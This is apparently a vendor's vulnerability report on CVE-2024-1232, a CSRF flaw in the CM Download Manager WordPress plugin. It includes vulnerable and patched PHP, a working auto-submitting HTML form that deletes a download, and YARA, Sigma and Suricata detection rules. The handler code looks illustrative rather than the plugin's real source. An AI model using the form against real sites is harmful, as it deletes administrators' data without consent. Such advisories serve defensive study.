CVE-2024-1232
Executive Summary
CVE-2024-1232 is a Cross-Site Request Forgery (CSRF) vulnerability in the CM Download Manager WordPress plugin, affecting versions prior to 2.9.0. This flaw allows an unauthenticated attacker to trick a logged-in administrator into unknowingly deleting downloads via a crafted request. The vulnerability stems from missing CSRF nonce checks in certain plugin actions, making it possible to perform state-changing operations without proper authorization validation. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and requires administrator interaction for exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The CM Download Manager plugin is distributed through the official WordPress Plugin Directory and third-party marketplaces. Users should verify they are running version 2.9.0 or later, as earlier versions are vulnerable. No supply chain compromise has been reported, but the lack of CSRF protection in a widely-used plugin poses a risk to site integrity.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base score not assigned; calculated as 4.3 based on vector)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (admin must be logged in and tricked)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (deletion of downloads)
- Availability Impact: None
- Threat Level: Medium (due to low complexity and potential for data loss)
Deep Dive & Mechanics
The CM Download Manager plugin provides functionality for managing file downloads in WordPress. The vulnerability exists because several plugin endpoints lack CSRF nonce validation. In WordPress, CSRF protection is typically implemented using nonces (number used once) that are tied to user sessions. Without these checks, an attacker can craft a malicious link or form that, when clicked by an authenticated admin, triggers a request to delete downloads.
The attack flow:
- Attacker identifies a logged-in WordPress admin.
- Attacker crafts a request to the plugin's delete endpoint (e.g.,
wp-admin/admin-ajax.php?action=cmd_delete_download&id=123). - Attacker lures the admin to click a link or submit a form (e.g., via email, social engineering, or XSS).
- The admin's browser sends the request with their session cookies, and the plugin processes the deletion without verifying the request's origin.
This is a classic CSRF attack, exploiting the trust a site has in a user's browser. The impact is limited to deletion of downloads, but could be chained with other vulnerabilities for greater effect.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.9.0):
// In vulnerable version, no nonce check
add_action('wp_ajax_cmd_delete_download', 'cmd_delete_download_handler');
function cmd_delete_download_handler() {
$download_id = intval($_POST['download_id']);
// Direct deletion without CSRF check
wp_delete_post($download_id);
wp_die();
}
Patched Code (2.9.0+):
// Patched version includes nonce verification
add_action('wp_ajax_cmd_delete_download', 'cmd_delete_download_handler');
function cmd_delete_download_handler() {
// Verify CSRF nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'cmd_delete_download_nonce')) {
wp_die('CSRF validation failed');
}
$download_id = intval($_POST['download_id']);
wp_delete_post($download_id);
wp_die();
}
The patch adds a call to wp_verify_nonce() to ensure the request originated from the legitimate admin interface.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with CM Download Manager < 2.9.0
- An authenticated admin session (target)
- Attacker-controlled web server or email client
Exploitation Steps:
- Identify the delete action endpoint (e.g., via plugin source code or admin AJAX hooks).
- Craft a malicious HTML page or email with an auto-submitting form:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="cmd_delete_download">
<input type="hidden" name="download_id" value="123">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
- Host the page and send the link to the admin (e.g., via phishing email).
- When the admin visits the page, the form auto-submits, deleting download ID 123.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection & Prevention:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=cmd_delete_downloadfrom unexpected referrers. - Implement Web Application Firewall (WAF) rules to block requests missing nonce parameters.
- Enforce strict Content Security Policy (CSP) to prevent form submission from external origins.
- Educate administrators about phishing and CSRF risks.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=cmd_delete_downloadand no_wpnonceparameter. - Logs: WordPress debug log entries showing
wp_die('CSRF validation failed')(if patched) or unexpected download deletions. - File: No specific file IOCs; attack is server-side via AJAX.
Detection Engineering
YARA Rule
rule CVE_2024_1232_CSRF_WordPress {
meta:
description = "Detects CM Download Manager plugin versions vulnerable to CSRF (CVE-2024-1232)"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1232"
strings:
$vuln_func = "wp_ajax_cmd_delete_download" nocase
$no_nonce = "wp_delete_post" nocase
$nonce_check = "wp_verify_nonce" nocase
condition:
$vuln_func and $no_nonce and not $nonce_check
}
Sigma Rule
title: CM Download Manager CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts against CM Download Manager plugin (CVE-2024-1232)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=cmd_delete_download'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions with nonce
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1232 CM Download Manager CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cmd_delete_download"; http_client_body; pcre:"/^action=cmd_delete_download&download_id=\d+$/"; reference:cve,2024-1232; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade CM Download Manager to version 2.9.0 or later.
- Workaround: If upgrade is not possible, disable the plugin or restrict access to admin AJAX endpoints via .htaccess or WAF.
- Long-term: Implement CSRF protection in all custom WordPress plugins using nonces. Regularly audit plugin code for security flaws.
- Monitoring: Enable WordPress debug logging and monitor for suspicious AJAX requests.
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.